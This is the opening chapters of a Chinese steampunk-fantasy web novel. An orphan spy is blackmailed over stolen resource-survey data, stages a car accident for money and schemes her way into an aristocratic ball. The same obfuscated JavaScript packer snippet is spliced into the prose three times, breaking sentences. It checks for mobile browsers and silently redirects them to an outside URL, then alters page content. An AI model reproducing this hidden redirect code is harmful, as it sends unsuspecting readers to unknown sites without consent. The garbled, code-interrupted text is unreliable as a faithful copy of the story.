《她的棋局[西幻]》 1. Chapter 1. 加茜娅 加茜娅站在大街旁,身后是富人住宅区。 为了伪造身份,她每天早上走半个钟头到这里,等同事米拉的顺风车。 加茜娅今天的装扮很简单。不怎么保暖的白丝绒连衣裙,一件宝蓝巴斯克修身外套。她将长发在脑后盘起,挽作半月形发髻,戴一顶窄沿黑纱软帽。 冷风吹过,加茜娅搓搓手,扶着帽子走到路灯下的长椅处。 那上面摆着别人喝完不要的热松露茶玻璃瓶。 这种新兴的时髦饮料在富人区商店都有贩售,约莫两百晶币一小瓶,是她每个月伙食预算的三分之二。 瞥见四周无人,她立即敛住裙摆坐下,一手拿起瓶子,举在身前,另一只手从随身的皮革提包里抽出报纸,放在膝盖上翻阅。 片刻后,一辆黑金配色的马车形敞篷汽车停在她跟前,两盏玻璃灯笼式的前灯闪烁着,映出后排沙发座上笑盈盈的米拉。 米拉围着貂毛披肩,探出头,手肘撑在窗框上向加茜娅打招呼,不断地呼出白色热气。 “早安!小姐!” 加茜娅也笑着回了问候,慢悠悠收起报纸,起身将“刚喝完”的玻璃瓶扔进垃圾桶,然后提起裙角,等司机打开后门,踩着放下的小脚踏板上车。 车发动了,两人挨在一块儿聊天。 “昨天在安娜家的晚宴热闹极了!可惜你又不来。” “你知道的,我父亲向来不准我参加集体活动。能允许我住在外面,抛头露面地上班,就已经是他的底线了。”加茜娅蹙着眉。 米拉不以为然地一撇嘴:“都什么时代了?家里有你这样的女儿却不让出头,真是浪费。” 她没有继续说,因为她觑见加茜娅黯然地垂下了眼。 米拉叹了口气。她和加茜娅是大学同学,在所有人的认识里,加茜娅一直很神秘,似乎来自于某个不知名的隐士贵族世家。 这并不奇怪,尤其对一些黑发黑眼的远东血统来说,女人很应该规规矩矩地守在深宅大院里,世代传承地相夫教子。 也有人怀疑过加茜娅贵族身份的真实性,可她实在不像穷人,身上没有怪病怪味,每天穿着得体的衣服,一举一动优雅养目。 虽然头发是棕褐色,相貌也偏于深目高鼻的族裔,但她谦逊合宜的举止总能彰显出那些隐士贵族的古老教养。 有时候,米拉甚至会为加茜娅身上的忧郁气质着迷。高贵、美丽、哀愁,才华出众。她有点嫉妒她,又近乎崇拜她。 或许是混血吧?这也能够解释她受到家族冷落的原因。 可怜的加茜娅总是向她抱怨家人的刻板、生活的艰辛,所以米拉又有些同情她,基本抵消了对她的负面情绪。况且,加茜娅总是对自己毫不设防,什么都愿意说,这就更加拉近了距离。 米拉自认为擅长暖场,因此即刻转移话题: “你猜猜,我昨晚上见到了谁?”她不等加茜娅回复,就一口气地接着说,“是蒙格马利家族的小儿子,莫伯斯·蒙格马利……我可不夸张,他那气质——谁和他说话,谁就会为他倾倒!” 加茜娅抬起头,露出一点笑,鼓励般地望着米拉,等她继续分享八卦。 这就是米拉最喜欢加茜娅的地方。 “听说了没?蒙格马利家的长子前两天遇刺了!元老院议席都拿到手了,竟然还会出这种事。”米拉瞪大眼,“而这位莫伯斯,亲哥哥还生死未卜呢,就到处参加宴会。你说,他是不是已经有了底牌?蒙格马利家要易主了……” 说到后头,米拉不自觉地将手掩在唇前,放低声音。她高兴地看到加茜娅扬起了眉毛,恍然大悟般看向自己。 “这真是太可怕了!” “对啊!” 两位刚相认不久的贵族闺蜜捂住嘴,共同露出震惊的神情。 汽车在一座银灰色巨大圆顶建筑的外侧花园入口停下。 西装革履的司机低头弓腰,一手背在身后,一手拉开车门。 加茜娅走下车。 眼前矗立着八扇对开的高大金属门,表面覆盖黄铜浮雕,刻满联邦各州纹章,细密纹路中点缀了闪亮的彩色矿石,巧妙构成矿山、森林、河流等资源的象征图案。 门的正上方镌刻着七芒星徽章,并以抛光黑曜石刻下“奥瑞恩联邦国资源管理与开发署”通用语名,另附精灵语、矮人语等十几种暗金铭文。 米拉和加茜娅到达时,已有不少人排起长队,依次走入门禁处的复合式身份识别台。背着猎魔枪的守卫们忙着替访客登记身份、检查随身文件、按下临时密码章,偶尔也会抬起头,与相识的员工寒暄几句。 加茜娅走入安检区,将刻有符码的特制晶卡放入齿轮卡槽,随后转动另一侧的铜质密码轮,使自己的十四位工号数字逐个对准窗口。 伴随着齿轮契合转动的低鸣和蒸汽流动的“嘶嘶”声,密码按乱序清空,大门朝内打开。一条大理石道路通向主楼正厅,两侧排布着装饰性浮雕灯柱,刻画联邦各族共同勘探资源的场景。纪念碑沿路摆放,呈现历年来重要的资源发掘成果。 低层工作区人流量极大,寻求投资合作的各族代表在这里咨询业务,职员们则怀抱大卷地图文书来来往往。交谈声及机械运作声不绝于耳,天花板上的管道不时发出隆隆嘶鸣。空气里弥漫着蒸汽、金属与机油混合在一起的热腾腾的辛辣味。 米拉刚一进来,就被另两个蹲守的好友叫住,张罗着过去喝茶。 她匆忙从手提包里取出一叠资料袋塞给加茜娅,笑道:“今天又拜托你了!下回请你逛街,我买单!” 还未等加茜娅说话,她便嫌热摘了毛茸茸的披肩,挽在臂弯上,甩头摆尾如一只小白貂那样轻快地溜走了。 加茜娅捧着大堆文件,维持住得体的笑容,绕到大厅后侧去乘升降梯。 她和米拉都在资源署从事勘探分析工作,而米拉因家世缘故,虽不如她那样擅长测算,职级却还稍高一些,时常将自己的任务交给她做。 对这里的许多职工来说,工作主要是为了上流阶级之间的社交,因而不少时间都在茶水室和花园凉亭度过。他们还会在此探听资源开发前线的一手资讯,以便为家族抢占投资机会。 加茜娅走进十四号资源勘探监控室。 房间中央设有一座巨型机械操作台,十来个勘探分析师正围坐着聊天。 她一进门,就在周围同事“又是如此”的调侃中,微笑着走到米拉的工作台,拿出一个密码滚轮对准桌侧内嵌槽口按下。 米拉桌上的案卷早已经堆成小山,此时最上面一卷刚刚从管道式传输装置中弹出掉落。加茜娅接过卷轴展开,上面记载着某地刚电报发回的资源分布数据和环境气象信息,由中央操控台审核后分配到此。 她捧着文件,客气地搭讪寒暄着,走过几名高级分析师的工位,同时用余光留意他们桌上的测算公式和地图标注内容,悄悄记住重要的原始资料。 加茜娅的记忆力很好,但称不上过目不忘。至于无法记下的部分,可以等回家再慢慢推算。 ——她心里清楚,自己正在窃取数据。 这是联邦重罪,但她早就习以为常,几乎冷静到从容不迫的地步。 在重大事故发生并开启调查之前,这帮喝茶家和聊天家不会注意到她。即便要查,也不会先从她开始,那么她就有下一步反应的时间。 加茜娅回到自己工位,趁四周无人,先假作打草稿计算,将记得的内容快速默写在一张空白拓印纸上,再将手头写有“西高地山脉45号矿藏勘探数据”的纸卷放在拓印纸上摊平压好,用绘图笔计算和标注坐标点。 有时,她也会走到一旁嵌满整面墙壁的机械计算器处,操作拨杆,并根据系统分配的指示,对数据进行二次校验和标注。每份文件都需要确认无误后才可提交到中央控制室。 所谓勘探分析师一职,就是像这样,根据最新的前线资料,测算资源勘探环境安全性、资源种类数量与分布格局、潜在新勘探点坐标等重要数据。 这对于资源紧缺并且正在开发新大陆的联邦政府来说,是极为重要的任务。 半个世纪前,还处在工业革命中的人们经历了一场“元素暴动”,近半数大陆下沉入海,新大陆凭空而起。蒸汽与魔法位面彼此融合,人类与兽人、矮人、精灵、巨魔撞了个措手不及,一见交恶,互相争夺所剩无几的资源,经历了魔法和枪炮之间三十余年的世界大战。 后来,由于愈发严重的天灾和神秘减少的资源,休 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14800416|158378||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 战协议获得了智慧种族的共识。领袖们划定以种族栖居地为界限的七个自治州,并联合各族代表成立中央联邦政府,共谋生存发展。 加茜娅此刻所处的便是联邦的心脏,工业化最为完善的中州。 这里是一切政治经济的中心,也是唯一严格限制枪械魔法使用和种族摩擦的“安全区”。据说,已开发大陆上有三分之一的智慧生物,都集中在这个占地面积最小的州内。而热爱群居的人类数量又是其中之最。 至于其它未知大陆,仍处在联邦政府“新大航海行动”的持续探索之中。 那也就是加茜娅每日进行测算的对象。而她通过米拉办公室接收到的,是保密等级更高的新陆地资料。 四点半,加茜娅写完分析手册,传送回中央控制室,并将两倍工作量的任务内容口头报告给上级主管。 这名生着狮耳长尾的半兽人玛莲娜·布莱克知道米拉让她代做的工作,但只是坐在办公桌后,一边摇着丝绸扇,一边吃第二份下午茶。 “我会在年终报告里夸奖你的!”她笑盈盈地说。 “可以借用您办公室的洗手间吗?我比较急。”加茜娅问。 “去吧。”玛莲娜打着哈欠,抬一抬下巴。 加茜娅走入厕所隔间,从手提包里取出装着拓印定影剂的护手霜盒子,快速涂抹在大腿内侧皮肤上。接着,她将拓印纸上的内容复制到腿上,再将纸撕碎,冲入下水道。 离开时,她再次真心诚意地向玛莲娜道了谢。 而后,经过大门守卫对随身物品的仔细检查,加茜娅顺利地离开资源署,依旧坐米拉家的汽车来到富人住宅区。 等下了车,她又闲逛进一家书店。 隔着玻璃橱窗,加茜娅看到米拉的车开远了,立刻转身离开店面,向另一个方向匆匆走去。 加茜娅租的房子位于中州北岸郊区,藏在一条很不起眼的小巷里。 她回家那会儿正值傍晚,天空下起酸雨。 灰茫茫的雨雾笼罩住整条巷子。低矮拥挤的砖瓦房墙面起了白硝,又被烟尘熏黑。纵横交错的巨大管道盘绕着房屋。机器震颤不休地轰鸣,间歇穿杂蒸汽呜呜泄压的尖啸。 不远处,河流映满橙红灯光,铁桥上的汽车和铁桥下的汽船往来穿梭。码头边有大批衣衫褴褛的待岗工人,淋着酸雨或立或坐,蚁群般依偎成片。 垃圾臭味混杂着硫磺和铁锈的酸腐气息,裹挟着她,从五光十色的富人区进入另一个完全不同的世界。 她从手提包里取出一个带有金属滤网的银色面罩戴上。面罩眼部装配了玻璃圆片,可以看清外界。颊侧印有联邦医疗部的缩写字样。 一路走去,街边还有不少被政府强制要求佩戴面罩的人,携带着高危传染病。他们抱着瘦骨嶙峋的胳膊蹲坐发呆。有些人一动不动地躺在泥地上,闭目张嘴,遍体生疮。 越是贫穷,越容易得病,千奇百怪的病。要么是有名目的传染病,要么莫名其妙地脱皮脱发、肢体溃烂、精神受损。 报纸上说,这些怪病很可能来源于化工精炼产生的有毒污染物,以及防不胜防的新世界魔法风暴。 她到家时,发现大门正敞开着。 昏暗狭小的屋内一片混乱狼藉。衣服、书本、食物包装袋散落一片,衣柜的锁被卸下,半扇门斜挂着支住地面。桌子上有一个鼓鼓囊囊的信封。 加茜娅摘下面罩,空气中弥漫着潮湿与腐烂的味道,像一条蠕虫怪伸出触手拧住她的喉咙。煤油灯的火光跳动了一下,紧连着她的心脏也抽痛一下。 她仿佛已经意识到什么,走过去撕开信封。 一叠照片滑落出来,刺眼的镁光灯残影仿佛还在眼前闪烁—— 她的脸,她的身体,每个狼狈的细节都暴露无遗! 加茜娅放轻呼吸,将照片翻过来检查。 背面印着红色圆形的时间章,那是证明照片真实性的魔法印记,如今每家相机公司都有这种设计。此外,还附有“阅后即无”的符文,在看完的数秒内“嘶”地一下自燃起来,焚毁所有信息。 她面无表情地盯着空荡荡的掌心,脑海里映出了信封底部的那行字: “三天之内提交副本。否则,下次就寄往你单位。” 2. Chapter 2. 蓄势 窗缝嘶嘶漏风。屋里没有炉火,寒意彻骨。 加茜娅和绝大多数普通人类一样,感应不到任何魔法元素,不能使用最简单的隔风术,因此对这屋漏添风的挨冻处境无可奈何。 她只能拉开椅子坐下来,摘掉手套,摩挲着双手取暖,思索下一步该怎么办。她听见自己的心脏跳得很响,可思维却越发清晰。 ——从记事起,加茜娅就被丢在济贫院,是个无亲无故而命又很硬的角色。 济贫院的日子是生不如死的,每个人的童年都充满三长两短。每挨打一次,她的感情就麻木一分,终于从冷眼观望别人的苦难,到坦然接纳自己的不幸。性格上似乎没什么特点,唯遇事冷静叫她屡屡脱险。 要不是因为长相漂亮、头脑灵活被“选拔”走,她很可能最终和别的孩子一样死于饥饿、疾病、虐待亦或者过量的体力劳动。 但这并不是什么好事,而是另一种噩梦的开始。 那些人把他们当投资的本钱,与权贵进行地下交易,并凭借各色交易证据和武力威胁手段,向上获得层层庇护,向下压榨他们终身为其服务。 她现在的任务,正是从资源署窃取最新勘探点数据,供上流阶级的幕后交易者瞒着联邦元老院,提前偷采。 而今,以工作为掩护潜入资源署三个多月,她正如他们所愿,成为一个兢兢业业的卧底,倒贴钱的情报贩子,未来东窗事发时的完美替罪羊。 他们手上拥有能够摧毁她人生的各种证据,和威胁她生命的无数手段,随便哪样都能将她打入深渊。每次用什么玩意吓唬她,都随他们心情而定。 她只能装作顺从地打探情报、定期寄去工资,好让他们至少不要起了杀心。 加茜娅很明白自己的结局,可她若想自救,实在过于困难,更不必提长久以来越发浓烈的复仇的愿望。 到目前为止,别说济贫院幕后操控者是谁,就连她对接的线人、资源署的其他内鬼,都还探不出身份啊! 阴影中的野兽很谨慎。她和他们一同潜伏着,比谁更狡猾。 但……即使确认了参与交易的名单,加茜娅也想不好要怎么办。 权力金钱、枪炮魔法,他们掌握着世上绝对的力量,如何斗得过呢? 在这里,证据和举报是没用的。 她曾在某场权力交易的“游戏”后,见过一名半兽人少年写信给《中州日报》报社和联邦大法官。不久,他果然消失了,仿佛从未出现在这个世界上一样。而他想揭露的黑幕,如没入水中的石子般不见踪影。 她因此变得更加小心谨慎,宁可长期委曲求全,也绝不轻易草率下手。 刺杀是另一条道路,她也想过。但她的目标不止一两个人。 加茜娅长长地叹了口气。 唯一或许可行的方法,是采取谋略计策,使他们彼此之间反目成仇。 可这群人本就是绑在一根绳上的蚂蚱,行动互制,利害相合。 ……若不是心里明白自己的处境,她本可慢慢布局。但资源署上报的数据一旦泄露,即便有内鬼护着,也早晚会查到她这里。 她剩余的时间不多了。 不过,尽管危机迫在眉睫,她不会同自己的身体过不去。该吃还是吃,该睡还是睡,加茜娅用无事人一般的良好心态,在夹缝里存活。这是她的原则。 清晨六点钟,门外有了悉悉索索的声响,是报童过来塞她订好的报纸。 待手脚恢复了些许温度,加茜娅便命令自己的身体从床上跳起来,跑到门口,从信箱里捏出一叠沾了雨水的《中州日报》。底下还压着《八卦快线》、《时代人物》等杂七杂八的小报,也被湿哒哒地捞了出来。 加茜娅在小桌边坐下。 桌上篮子里盛了大块坑坑洼洼的粗面包,她随手揪下一把塞进嘴,就着微弱的煤油灯光,快速翻阅各类报纸新闻、小道消息,甚而是夹栏里的兼职广告。 过了会儿,她含一口水,将面包叼在嘴里咀嚼,拿出剪刀裁切下有用的内容,走到窗台边,分类摆放进一排伪装作蔬菜盆栽的铁盒底部。 这些纸片被她妥善归类到放着不同标签的盒子里,一个盒子便代表一股势力,或派系之间近期集中的矛盾、与资源署和济贫院有关的系列事件。 她有时还会将几张有联系的消息聚集在一起,划出产生联系的重点线索,再用备注了暗号的纸包好存放。 加茜娅习惯把每天的新闻都收集起来,结合自己在工作单位打听的资讯,拼贴分析政坛动向,以及各个种族、家族派系的势力斗争,使她未来的“趋炎附势”和“见风使舵”更安全周密。 时间久了,她甚至觉得,自己连各报社和记者不断变化的阵营都能猜对大半,还能在同一新闻的不同来源之间分辨真伪,识别谎言与谎言的意味。 这次保留的内容是《蒙格马利家族长子遇刺案追踪》、《堪德雷特州少数族裔大暴动》,以及个别人物访谈录、未来一周的宴会和展会预告、元老院各派要员的花边新闻。 在合上盖子时,加茜娅停住手,又将前两日各报社发布的《蒙格马利家族长子遇刺案》拿出来,和今天几个版本的追踪报道逐一比对。 “亲哥哥还生死未卜,莫伯斯就到处参加宴会……” 加茜娅脑海里浮现出米拉前一天谈起的八卦。 蒙格马利家族——被称为人类旧贵族世家之首。传闻其祖先从几个世纪前的圈地运动时代起,便通过垄断铁矿和铸造业发家占地并受封勋爵头衔,历经多个政权兴衰,培养了大批成员进入军、政、商界,担任要职,逐渐转变为不可撼动的庞然大物。 元素暴动后,这支古老家族依然持续不断地转型扩张、与精灵和矮人内部势力合作,凭借强大的能源控制与魔导科技,在联合纪元初期便迅速掌控了奥瑞恩联邦国四分之一的军政经济命脉。 若说他们中间没人和地下权色买卖有所勾结、提供庇护,那是不可能的。他们之中总有人了解,有人视而不见。 如果没有头绪,就从最有可能提供线索的地方入手。 加茜娅坐在昏暗的煤油灯光下,不断地翻出相关消息,在脑海中梳理蒙格马利家族重要人物和资源署内部派系之间的联系,以及该如何与他们中的任意一支攀上关系,速速图之。 “紧急联合会议!家族面临继任危机,联邦少将阿纳鲁·蒙格马利将返回安全区,对决新议员莫伯斯·蒙格马利,谁能笑到最后?” “今晚,经由元老院批准,新任人类议员们在中区悬浮别墅群举办大型舞会,庆祝近期取得的政治成果并寻求进一步合作机会。” 她的目光停留在这两则快讯上,心里有了眉目。 屋外天光微亮。 加茜娅短暂地放空思绪,摆好盆栽,转身弯腰翻动床边杂物箱,为今日的活动选取一副花边白绸手套。接着又打开衣柜,里面只剩两套廉价正装,其余都被之前济贫院来的人顺手拿空了。 她并不慌乱,而是走到床边,抬起一只脚踩住床头柜,憋住气,挺身往后仰头、两手发力地将沉重的床垫抬起一角,露出下面藏着的几条礼服裙。 也许因为吃得少,她感到两眼发黑,支住桌子喘了会儿气。 今晚要想办法赴那场宴会,穿繁复的礼服不会显得过于隆重。她没有隔几个小时就更换着装的条件,只能图方便,穿着去工作。 这些裙子都被压得皱巴巴的,失去了原有款型。但时间不多了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14800417|158378||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她迅速地做出决定,抓起一条珍珠白的绸缎宽摆裙,用衣架挂在墙角机械座钟凸起的螺栓上——屋子里只有寥寥数件家具,实在没什么可挂东西的地方,只好暂时将就。 接着,加茜娅从箱子里翻出几个铁夹,夹住裙摆和袖口边缘,使整条裙子在均匀重力的作用下自然垂坠。她拿来平时浇菜用的喷壶,精准地喷洒那些不该有的褶皱,再上手轻轻按压。没有热水,只能如此。 为了快速晾干,她不得不狠下心,顶着寒风打开门窗。此时屋外依然细雨蒙蒙,这倒也有个好处,让自己即使穿着微湿的裙子也好找借口。 加茜娅到门外整条街共用的冷水龙头处洗漱完毕,回房坐到镜子前。 镜中现出一张没有血色的尖下巴小脸,那双花瓣状的大眼睛黑白分明,轮廓一整圈都围着长簇的睫毛,沿下眼睑投放出浓密阴影,跟钢笔墨水氤开成片似的,有种森森然近乎可怖的人偶般的诡美。 她的梳妆盒很简陋,只是一个抽屉,里面放着一个雕琢精致的小象牙盒,盒子的四个角落里还残剩了一点口红。这是上回生日的时候,米拉送她的礼物,她经常兑水做成染液使用。 加茜娅伸出小拇指,用指腹边缘沿着盒壁刮下一小抹红,再拿喷壶打湿,对着小圆镜,细细地在嘴唇和两颊点了三下,均匀涂开,使自己看起来终于有了些许气色。 匆匆准备完毕,加茜娅冲到座钟旁,两手都抓着报纸,前前后后地给裙子扇风。她用手指捏捏袖口,还是微湿,但时间实在不允许她继续停留。 从这处偏僻的贫民窟到最近的富人区,可以先坐蒸汽轨道车穿过两个街区,再下来走过一座拥堵的跨江大桥。即便加快步伐也至少得预留三十分钟。 加茜娅不再犹豫,立刻穿上裙子,批上一件羊毛斗篷,忍受着身体湿哒哒的粘腻触感,撑起一把黑色油布伞,小跑出屋子。 她小心地提着裙角,夹紧双臂,不让酸雨落在自己身上,以免损坏昂贵的丝绸面料。为了避开泥坑和过路车溅起的水花,她像只母鸡那样先探脖子后伸脚。等到达大桥的时候已经快要赶不及米拉的车。 快点,快点! 兴许是赶上人流车流的高峰,此刻这座钢铁大桥上堵得水泄不通。 中间车行道里各式汽车在细雨中鸣笛闪灯,两侧狭窄的人行道上挤挤挨挨,十来名穿着橙色制服的交警吹着哨子、手持标牌,一批批指示放行。 一些人举着公文包,踮起脚尖在汽车队列之中快速穿行;还有些侏儒妖精之类的矮小族裔,直接低下身从车底穿梭,引来头顶司机破口大骂。 加茜娅见状,也用拿包的手拎高了裙摆,跟随嘈杂的人流混入车道。 “麻烦让一让!”她喊道。 要来不及了,待会儿该怎么跟米拉解释?有好几个借口之前用过。 她分神想着,在车流缝隙间拉直身子、收腹缩臀地闪躲着,忽然感到大腿侧面猛然迎来一股力道。 “砰!” 加茜娅被一辆刚起步的汽车剐蹭到,脚下踩着雨水一滑,向前扑到在地,摔得满身泥浆。 怎么办?附近有公共洗手间吗?应该还有补救的机会。 她不顾浑身刺痛,双手撑住地,正打算赶紧爬起来、厚起脸皮推开路人挤出去,却听见“刺啦——”一下,是衣服裂开的声响。 加茜娅缓缓低头,看到价值不菲的刺绣蕾丝边裙摆破开个大口子。 这下好。 一瞬的愤怒后,她瞥了眼车窗内部:前排是脸色苍白的代驾司机,后面还有个人,陷在阴影里看不清样子。 请得起司机的人,总归有点小钱。 这也好。 加茜娅临时有了主意,迅速躺回原地。 3. Chapter 3. 一个军官 雨水打在涂了油膜的车前玻璃上,聚珠成线地淌下。 阿纳鲁·蒙格马利坐在车后排,安静观望着车前争执不休的两人。 其中一位穿深灰色粗条纹西装的青年是詹姆斯·克莱顿,他的司机兼机要秘书,刚陪同他从堪州的军事基地连夜赶回,参加家族会议。 另一位,刚从地上打完滚爬起来,姑且称她为美丽的泼妇——其实她贵族小姐般的精致模样很难让人将她和“泼妇”一词联系在一起,况且她还拿着公文包,很明显是一位有知识教养、有体面工作的新女性。 哦!但她现在举起公文包,照着詹姆斯抡了过去。 詹姆斯只是稍稍侧身就成功躲过。看来,她的力道并非真想伤人。 阿纳鲁不由向前倾了倾身子,在清楚听见那位小姐的喊叫声后,略微吃惊地扬起眉毛。 “三万晶币!”她高昂着下巴,冲詹姆斯伸手要钱。 “你疯了!这么多钱够你全家在中州挥霍一年!”詹姆斯涨红了脸,胸口急剧起伏,“而且你什么事都没有!”还能跳起来打人! “这条裙子!瞪大你那双无神的蠢驴眼睛瞧瞧!它是乔斯娜姐妹时尚公司的限量款!” “现在,托您的福!它价值连城的蕾丝裙边破了一个巨大的口子!” 加茜娅声音越升越高,并且突然想起什么似的拎起半边裙摆,露出摔破皮的小腿:“就连这里的……皮肤也……擦破了!您就等着法院传票吧!我父亲绝不会放过你们这些蠢货!” 她四下张望,准备挥手招呼那些望过来的观众,原地组建陪审团队。 詹姆斯越听越糊涂,一手放在腰间枪套上迟疑着。然而那截突然闪现的白腿惊得他一个激灵,终于六神无主地转过头,看向车内的阿纳鲁。 阿纳鲁此时已经坐直身子,抬起手腕看表。 随后,詹姆斯目瞪口呆地看见他的长官点了下头。 其实加茜娅心里也很忐忑,她不知道这家伙拿不拿得出那么多钱。毕竟,虽然他有司机,车型却是普通常见的大众款式,还要从桥那边来赶早高峰,应当不是什么入流的世族人物——这也是她有勇气碰瓷的原因。 只是,讲价得从高的往下讲。她或许可以赶紧降价了。 就在加茜娅想再度开口时,那名西装青年探进车里的上半身又收了回来。 他脸色不太好,生硬地递给她一张支票:“拿去!这事到此结束,没有后话。” “我要现金!”加茜娅叉着腰大嚷。后面的车开始按喇叭。 詹姆斯沉默一会儿,从自己兜里掏出几张散钞:“现金只有这么多。” “行,算你识相。” 加茜娅强撑住心中狂喜,接过现金和支票。在看清上面的数字后,立刻塞进手提公文包内侧夹层。 她生怕他们反悔,飞鸟投林般钻进人群,在流动的伞花中消失无踪了。 天降之财!这笔钱够她手头阔绰一阵。 加茜娅再也不顾路上泥水,一路推推撞撞地狂奔向前。 就算让米拉等她片刻,也得赶紧去车站旁的成衣店换套衣服! 米拉今天的汽车迟到了一会儿,差不多八点过五分才来。 见到加茜娅时,她并不像昨天那般欢快地打招呼,而是有些烦躁地将胳膊肘支在汽车窗框上,对加茜娅略一颔首。 司机打开车门,永夜兰的温柔香气扑面而来。米拉换了新香水。 还做了个新发型。 加西娅记得半个月前,米拉刚把一头丰富而堂皇的金发剪短,长度只到脖子,说是打算好好工作,从形象开始就要显得干练一些。 可是今天,她突然戴上了假发,用珍珠发夹固定,盘起作复杂的花形高髻。前额则放下刘海,修剪成短而弯曲的小卷。由于她颊上带点婴儿肥,粉搽得太厚,看起来倒像个追求时髦成熟的小女孩子。 加茜娅如往常一样上车,将手提包放在膝盖上,亲切地挨着她坐。米拉很快便聊起昨晚的一场宴会: “我和莫伯斯说了父亲担任的职位,可他似乎不感兴趣。” “你说,他那样笑着看我,到底是什么意思?很多人呢!” 这莫伯斯·蒙格马利大约是个交际专家,从有他的新闻和传言开始,便只与“宴会”一词同现。 加茜娅耐心地听米拉发牢骚。大部分时候,她只需要扮演听众角色,偶尔顺着情绪附和几句便可。 “咦?以前没见过你这条裙子。是翼族商人特供的布料吧,新买的吗?”米拉忽然注意到,加茜娅外套里面穿了一条鹅黄色的星鸦绒双层裙,举手投足间闪烁着轻微的星光点缀,显得十分灵动可爱。 “……是之前的……那个人送的。”加茜娅垂下眼,预备行骗。 “就是你跟我说过的,那个总是缠着你的医生?” “嗯。他后来发现我在家族里没有地位,就决定不再接触了。” “岂有此理!你就该早点听我的,这种人根本不值得你浪费时间!” 加茜娅虽然低着头,但能够感觉到,米拉深吸了一口气。 她于是再接再厉,拿手背揩一下眼角:“而且,他还把送我的这些礼物等价的钱要了回去……” “什么!”米拉几乎尖叫起来,“你怎么不早告诉我?你就这么给了!” “你知道的,我没有这种经验……现在想想,也过去那么久了,伤心也伤心完了,这裙子我就当自己买的,不穿白不穿吧。”加茜娅偏过头凝视窗外。 米拉气得浑身发抖,已然忘记自己来时的烦恼。 现在的加茜娅比她还可怜百倍……米拉抓起加茜娅放在膝盖上的手,一副语重心长的架势,握了又握,犹豫着怎样措辞才不伤人。 半晌,加茜娅见她还未上道,便低声引导着问:“你说,我还能有那样好的追求者吗?” “当然能!况且他算什么‘好’?”米拉双眼一亮,“你这话提醒我了。今晚就有个大舞会!财阀少爷,军政新秀,你要什么样的没有?说好了,我带你去,这次不许再推!” 加茜娅转过头,将另一只手搭在米拉的手背上,用浮着水雾的眼睛看向她:“这不好吧?我都没有请帖,他们肯定不让我进。” 米拉立刻扬起下巴,拍了拍加茜娅的手背:“放心!有我在,谁敢拦你?不给布莱克家族面子的人,怕是还没出生呢!” 加茜娅不知所措起来,仿佛受了莫大的感动,又抽开手去抹眼睛。 “你哭啥!我都没哭!我跟你说,两条腿的男人有的是!” 米拉慌忙转身去包里翻找手帕,却发现:早上出门时精神恍惚,喷完香水就顺手把它当手帕放进包里了。 贴身女仆由于听她诉了一夜苦,又做了一早上造型,也跟着她一起恍惚,竟没发现遗漏物品。 加茜娅见状,只好翻出自己的手帕擦脸。 片刻后抬起头,就看到米拉的手腕在眼前晃来晃去。那阵温润雅致的永夜兰花香更加浓烈,微妙地缭绕着些许森林苔藓的水气。 “怎么样?今天刚收到的,佛罗亚香水公司的新品。给你也试试吧?别难过啦。”米拉献宝似的伸出另一只手,摊开来,掌心里是一瓶蓝色魔法石香水。 加茜娅还没来得及说什么, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14800418|158378||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就已经被米拉牵起左手,喷在手套上。 “听说,他们还新加了很多魔法科技,能吸引光元素聚集,有保养面料、增添光泽的效果!而且连一级魔纹波动都不会触发,很安全的。” 一般来讲,市面上含魔法技术的产品,在使用中都会引发魔纹波动,也就是魔法引起的元素波动频。而魔法监管局设定的安全标准是三级以下——三级是最基础的攻击性魔法强度,也是对远距离动力能源产生影响的基本强度。 魔纹波动小于一级的功效型产品,通常只有极少数行业尖端公司才能研发出来,专为权贵阶层服务。 “我最近也在关注这家的香水,所以了解一点儿。” 加茜娅定下心,重新微笑起来,同时装作被转移了注意力,与她聊起各大香水公司又在推出哪些新品。 作为旧贵族布莱克世家的小姐,米拉确实是有几分本事的。 她仅凭一腔欺男霸女的纨绔气焰,便镇住了数名骑马背枪的守卫,将没有请帖的加茜娅带入了位于中州核心坎贝尔富人区的悬浮别墅群庄园。 那是加茜娅第一次进入贵族们习以为常的社交场所。 长久以来,她都扮演着一名家教严格的隐士贵族世家小姐,因家族规训和不受宠爱的身世而游离在上流阶级之外的微妙空间。 便于隐藏身份的同时,这样做也切断了她打探消息的机会。但眼下的情形,迫使她不得不尽快出击。 加茜娅谨慎地堆着微笑,在米拉同各人打招呼时一起点头。偶有认识她的老同学,皆为她参加舞会这一事实感到惊讶,但由于米拉的陪同和对隐士家族的顾忌,他们都露出疏离而友好的笑容。 加茜娅一边寒暄,一边打量这个颇具视觉冲击力的地方。 